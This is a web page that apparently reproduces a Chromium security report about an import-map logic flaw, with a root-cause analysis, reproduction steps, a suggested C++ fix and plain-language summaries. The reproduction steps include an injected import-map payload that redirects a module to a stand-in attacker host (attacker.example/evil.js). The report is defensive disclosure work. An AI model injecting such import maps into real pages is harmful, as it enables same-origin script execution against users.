Information loss in Script (CVE-2026-113108)
A logic error in Chromium's import map implementation allows newly injected import maps to override module mappings for scripts that have already resolved modules, because the exact URL of the referring script is not recorded during resolution. An attacker with HTML injection could inject an import map with an exact URL scope to bypass immutability checks and redirect dynamic imports to attacker-controlled scripts, escalating to same-origin script execution.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 6 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A logic error in Chromium's Import Map implementation allows newly added import maps to override module mappings for scripts that have already resolved modules. The exact URL of a referring script is not properly recorded during module resolution, allowing an attacker with HTML injection capabilities to inject an import map using an exact URL scope that bypasses immutability conflict checks.
Affected files:
third_party/blink/renderer/core/script/document_modulator_impl.ccthird_party/blink/renderer/core/script/import_map.cc
Estimated timestamp from git blame: 2025-11-25
Description
The HTML specification requires that once a module specifier has been resolved for a given referring script, that resolution must remain immutable, even if subsequent import maps are registered. Chromium implements a defense-in-depth mechanism to enforce this by maintaining a set of resolved (referring script, specifier) pairs in DocumentModulatorImpl::scoped_resolved_module_map_.
However, a discrepancy in how this map is populated and checked during the merging of multiple import maps allows this immutability invariant to be bypassed.
Technical Analysis
- When a module is resolved,
DocumentModulatorImpl::AddModuleToResolvedModuleSetrecords the resolution. To support prefix-based scope matching, it generates URL prefixes for the referring script usingFindUrlPrefixes. FindUrlPrefixes(third_party/blink/renderer/core/script/document_modulator_impl.cc:16-29) splits the URL and only returns prefixes that terminate with a/character (e.g.,https://example.com/js/).- Crucially, if the referring script is
https://example.com/js/app.js, its exact URL string is not returned byFindUrlPrefixes. Consequently, the exact URL is never added as a key toscoped_resolved_module_map_. - When a new
<script type="importmap">is injected into the document,ImportMap::MergeExistingAndNewImportMapschecks for conflicts to prevent overriding existing resolutions (third_party/blink/renderer/core/script/import_map.cc:746). It performs an exact string lookup:scoped_resolved_module_map.find(scope). - If the new import map defines a scope using the exact URL of the referring script (e.g.,
"scopes": {"https://example.com/js/app.js": { ... }}), the lookup fails because that exact URL was never added as a key. The conflict check is bypassed, and the malicious mapping is merged. - Later, when the legitimate script (
https://example.com/js/app.js) dynamically imports the same specifier,ImportMap::Resolvechecks the newly merged scopes (third_party/blink/renderer/core/script/import_map.cc:541). Because the referring script URL exactly matches the attacker's scope (scope == base_url.GetString()), the attacker's mapping is used. - Chromium's
ModuleMapcaches fetched modules by their resolvedKURL, not by their specifier. Therefore, the new resolved URL is treated as a new module, fetched, and executed.
Potential Impact
If an attacker has an HTML injection primitive on a page utilizing JavaScript modules, they can inject an import map to redefine mappings for already-loaded scripts. By redirecting subsequent dynamic imports to attacker-controlled URLs, this escalates the HTML injection into Same-Origin Script Execution (XSS).
Note: These steps are based on static code analysis; our tooling has not executed a working proof-of-concept payload.
Potential Reproduction Steps
- Serve a page at
https://example.com/index.htmlwith an initial valid import map mapping"react"to a trusted CDN. - The page loads a module script
https://example.com/js/app.jswhich executesimport 'react'. This resolves to the trusted CDN.DocumentModulatorImpl::AddModuleToResolvedModuleSetis called, but the exact URLhttps://example.com/js/app.jsis not added as a key toscoped_resolved_module_map_. - Leverage HTML injection to append a second import map:
<script type="importmap">{"scopes": {"https://example.com/js/app.js": {"react": "https://attacker.example/evil.js"}}}</script>. - During the merge process, the exact URL scope bypasses the conflict check because it is not found in
scoped_resolved_module_map_. app.jssubsequently callsimport('react')dynamically.ImportMap::Resolvematches the exact URL scope and resolves'react'tohttps://attacker.example/evil.js. The browser fetches and executes the attacker's script.
Suggested Fix
Modify DocumentModulatorImpl::AddModuleToResolvedModuleSet to explicitly add the exact referring_script_url as a key to scoped_resolved_module_map_, in addition to the prefixes generated by FindUrlPrefixes.
if (!referring_script_url)
return;
// Add the exact URL to ensure exact scope matching works during conflict checks.
auto& exact_url_set = scoped_resolved_module_map_.insert(referring_script_url.value(), HashSet<AtomicString>()).stored_value->value;
exact_url_set.insert(specifier);
for (const auto& specifier_prefix : specifier_prefixes) {
exact_url_set.insert(specifier_prefix);
}
Vector<AtomicString> referring_script_prefixes =
FindUrlPrefixes(referring_script_url.value());
// ... rest of the existing prefix loop ...
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the function that records resolved module specifiers only stores URL prefixes ending with a slash, not the exact referring script URL, so the conflict check during import map merging fails to find the exact URL and allows an override.
Impact
An attacker with HTML injection could escalate to same-origin script execution by redirecting dynamic imports to attacker-controlled URLs, though the report notes this is based on static analysis and no working proof-of-concept has been executed.
What the attacker needed
HTML injection on a page using JavaScript modules; Page uses dynamic imports
The fix
The fix should modify the function that records resolved modules to also add the exact referring script URL as a key, so that exact scope matching works during conflict checks.
How it was found
- Serve a page with an initial valid import map mapping a module specifier to a trusted CDN.
- The page loads a module script that imports the specifier, resolving to the trusted CDN; the exact script URL is not added to the resolved module set.
- Use HTML injection to append a second import map with a scope using the exact URL of the referring script and a malicious mapping.
- During merge, the exact URL scope bypasses the conflict check because it is not found in the resolved module set.
- The script later dynamically imports the same specifier.
- The import map resolves the specifier to the attacker's URL, and the browser fetches and executes the attacker's script.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Import maps let web pages tell the browser where to find JavaScript modules. The browser is supposed to remember which module a script already loaded and not let a later import map change that. This report found that the browser forgot to record the exact address of the script, so a later import map could sneak in and point the script to a malicious file.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.